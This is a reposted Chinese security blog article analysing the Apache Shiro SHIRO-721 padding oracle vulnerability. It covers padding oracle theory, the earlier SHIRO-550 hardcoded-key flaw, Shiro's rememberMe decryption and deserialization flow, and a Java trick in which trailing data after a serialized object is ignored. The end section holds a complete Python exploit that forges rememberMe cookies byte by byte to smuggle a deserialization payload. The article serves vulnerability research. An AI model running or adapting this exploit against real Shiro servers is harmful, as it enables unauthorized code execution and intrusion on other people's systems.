转载

Shiro Oracle Padding Attack

简述

自九月 loopx9 在 apache jira 平台上提交漏洞之后就分析了两周,从 Padding Oracle Attack 攻击原理 ,到 shiro 历史漏洞 SHIRO-550 反序列化利用 ,在有且仅有 有限的消息的情况下 一度认为这是一个假漏洞,直至最后有POC 公布,才恍然大悟,原来在漏洞验证中还有 java 反序列化的 一个技巧,其他的分析文章中却绝口不提,也不知道只是拿着 POC 打了一遍,还是大佬们想保留秘密。

PADDING ORACLE ATTACK

详细清楚的 Padding ORACLE 攻击相关理论知识可以看文献 http://netifera.com/research , 中文讲解 http://blog.zhaojie.me/2010/10/padding-oracle-attack-in-detail.html

说明:

其中有一个重要的理论基础:Padding Oracle 攻击是应用/服务 AES 密文 在 Padding(格式) 不对 时能够有明显的区别,通过 Padding 是否正确推断出中间值(每组中间值只和密文一一对应),这样就可以在不用知道 AES 密钥时,构造密文,使之解密为我们想要的明文。

文章 http://blog.zhaojie.me/2010/10/padding-oracle-attack-in-detail.html 用例场景是

  • 接受到正确的密文之后(填充正确且包含合法的值),应用程序正常返回(200 - OK)。
  • 接受到非法的密文之后(解密后发现填充不正确),应用程序抛出一个解密异常(500 - Internal Server Error)。
  • 接受到合法的密文(填充正确)但解密后得到一个非法的值,应用程序显示自定义错误消息(200 - OK)

接受到非法的密文之后(解密后发现填充不正确)和 合法的密文(填充正确)但解密后得到一个非法的值 响应不同。

历史漏洞 SHIRO-550

从 Shiro-550 的复现中可以清晰的看到漏洞触发流程。

shiro 使用 CookieRememberMeManager 处理 rememberme 参数

处理流程

  1. base64 解码
  2. 使用 AES 解密
  3. 反序列化解密后的字符串

在 1.25 版本以前,使用硬编码存储 AES 密钥,AES 是对称加密算法,拥有密钥之后,通过更改 RememberMe Cookie 值 可以为所欲为。

SHIRO-721

1.25 版本修复:重点在于随机 AES 密钥,同时也升级了第三方库的版本(反序列化及利用不在本文讨论范围)。

来表达一下为什么我最初判断是假漏洞:

Oracle Padding 攻击是利用侧信道的方式对加密块数据进行渗出

需要条件:

padding 对,响应1

padding 不对,响应2

通过 响应1和响应2 返回不同来区分 padding 是否正确

调试代码 shiro 用 getRememberedPrincipals 函数还原 rememberMe 中的 PrincipalCollection 对象 Shiro Oracle Padding Attack

在 convertBytesToPrincipals 进行 aes 解密和 反序列化 Shiro Oracle Padding Attack

报错会调用onRememberedPrincipalFailure,onRememberedPrincipalFailure调用forgetIdentity Shiro Oracle Padding Attack

forgetIdentity 最后会调用 removeFrom Shiro Oracle Padding Attack

都会设置 rememberMe 为 deleteMe 所以理论上因为会对解密后的数据进行反序列化,此时触发反序列化报错: 响应1 和 响应2 相同,无法通过 Oracle Padding 攻击达成条件

所以我此刻会认为这是一个假漏洞

java Trick

观察shiro-721 的漏洞提交,会发现重点 prefix ,有效的 RememberMe cookie 做为 Padding Oracle Attack 的前缀。

Shiro Oracle Padding Attack

  • RememberMe Cookie 的哪一部分做为前缀
  • 为什么要做为前缀

最开始读的时候一直没有理解这一点,shiro 是从数据流中读取 iv 的,会在解密时把 第一块字符串(16位)做为 iv,前缀是指 iv 吗?

其实这就涉及到 java 反序列化过程中的一个技巧,** 反序列化数据末尾存在脏数据不会报错 **

这样 通过把已有的 remember cookie 值作为前缀,能够判断解密的 padding 是否正确,进行Oracle Padding 攻击

测试发现:反序列化字符串2 = 反序列化串1 + 数据2

在反序列化时不会报错

理论:不是通过0截断导致的,readobject在具体实现中读取到serialdata长度是在serialdata头部约定的。这样就不会报错

最后,通过构造的数据2(因为包含iv,初始向量),直接替换 反序列化字串1,就可以执行payload

POC

提供一份 shiro Padding Oracle Attack 的测试源码,仅供学习

VALID_COOKIE_BASE64 初始可以获得的有效 rememberMe cookie

./poc_urldns_serial_data # java 反序列化 urldns poc

./rememberMe_poc 可以进行dns请求的poc 数据,以此填充 cookie, RemmeberMe 值

import base64
import requests

VALID_COOKIE_BASE64 = 'MZMoALmwr7GS0f/H9zEg1/TAgPpktI3fNf/rCJVapngx4puR0u2VejMGZM1sfQ48imDucSqHiQOZ7H6lU/zKMTUU3RDFAsk9GV+2pXfhIzL5A1qkQyAqfRANNitznIqrieC3DaDoqpLBwCA2LyLagg4X3/KAI5MqKoN2J5ftxNA84JUe9zhcXf5S3DSDxz4tpI3ojtbr5eFZGdU3t+GNbDpUJKsy8RIt16laDFW27yQL+fLpp5HLXEw0aFMX2HSZQs8sCrYQhcztuN+NEyzQ8DIDtjbVKWTOzq7/tyYz3uG9mgAzsp+rNkXtd4XbRP1WbdiMplkaP1IzZBZppcIL0z8XvazRZ8rIV7hlwYsazOkCYUBFt13DUZszQarCNowH6yQJjWYOFX8R3K2qxuFqJXXzbFQBj1xYRqkXhtd181KMVI1SfAE7IRjUE8432iliIUq2RYea02EBUWVn2yMxqFOJs07a00lv+8tWx8qtyUb+iqYB5IDv9jA/LfCC29TG'

BLOCK_SIZE = 16
intermediary = [0] * BLOCK_SIZE

def stringify(numbers):
    return "".join(map(lambda x: chr(x), numbers))


def numberify(characters):
    return map(lambda x: ord(x), characters)


def evil_chain(evil_iv):
    return_str = ''
    for item in evil_iv:
        return_str = return_str + chr(item)
    return return_str

def count_iv(num):
    if BLOCK_SIZE > (num + 1):
        suffix = BLOCK_SIZE - num - 1
        return_str = []
        for i in range(suffix):
            return_str.append((suffix + 1) ^ intermediary[num + i + 1])
        return return_str
    else:
        return []


def req(postdata):
    url = 'http://127.0.0.1:8080/account/'
    if '://' not in url:
        target = 'https://%s' % url if ':443' in url else 'http://%s' % url
    else:
        target = url
    base64_ciphertext = base64.b64encode(postdata)
    res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=10, allow_redirects=False)
    return res


def get_intermediary(result, encryped_str):
    try:
        init = [0] * BLOCK_SIZE
        with open('test_file_2', 'w') as f:
            for i in range(BLOCK_SIZE - 1, -1, -1):

                for pos in range(0, 256):
                    evil_iv = init[0: i] + [pos] + count_iv(i) + encryped_str
                    output = evil_chain(result + evil_iv)
                    res = req(output)
                    if 'rememberMe=deleteMe' not in str(res.headers):
                        intermediary[i] = pos ^ (BLOCK_SIZE - i)

                        break
            f.write(str(intermediary))
    except Exception, e:
        print e


def padding_text(poc_file):
    with open(poc_file, 'rb') as f:
        poc_text = f.read()
        pad = lambda s: s + ((BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)).encode()
        poc = pad(poc_text)
    return poc


def run(poc):
    total_num = len(poc) / BLOCK_SIZE
    result = [0] * (total_num + 1) * BLOCK_SIZE
    # result = valid_cookie + iv + padding_oracle_attack
    valid_cookie = numberify(base64.b64decode(VALID_COOKIE_BASE64))
    #result = result + numberify(valid_cookie)
    iv = valid_cookie[:16]
    #first_random_encryted
    for j in range(BLOCK_SIZE):
        result[total_num * BLOCK_SIZE + j] = iv[j]

    for i in range(total_num - 1, -1, -1):

        text = poc[i * BLOCK_SIZE: (i + 1) * BLOCK_SIZE]
        text = numberify(text)

        get_intermediary(valid_cookie, iv)

        for j in range(BLOCK_SIZE):
            iv[j] = text[j] ^ intermediary[j]

        for j in range(BLOCK_SIZE):
            result[(i) * BLOCK_SIZE + j] = iv[j]

    with open('./rememberMe_poc', 'wb') as f:
        f.write(stringify(result))


if __name__ == '__main__':
    poc = padding_text('./poc_urldns_serial_data')
    run(poc)
原文  https://superxiaoxiong.github.io/2019/11/26/shiro-padding-oracle-attack分析/
正文到此结束
Loading...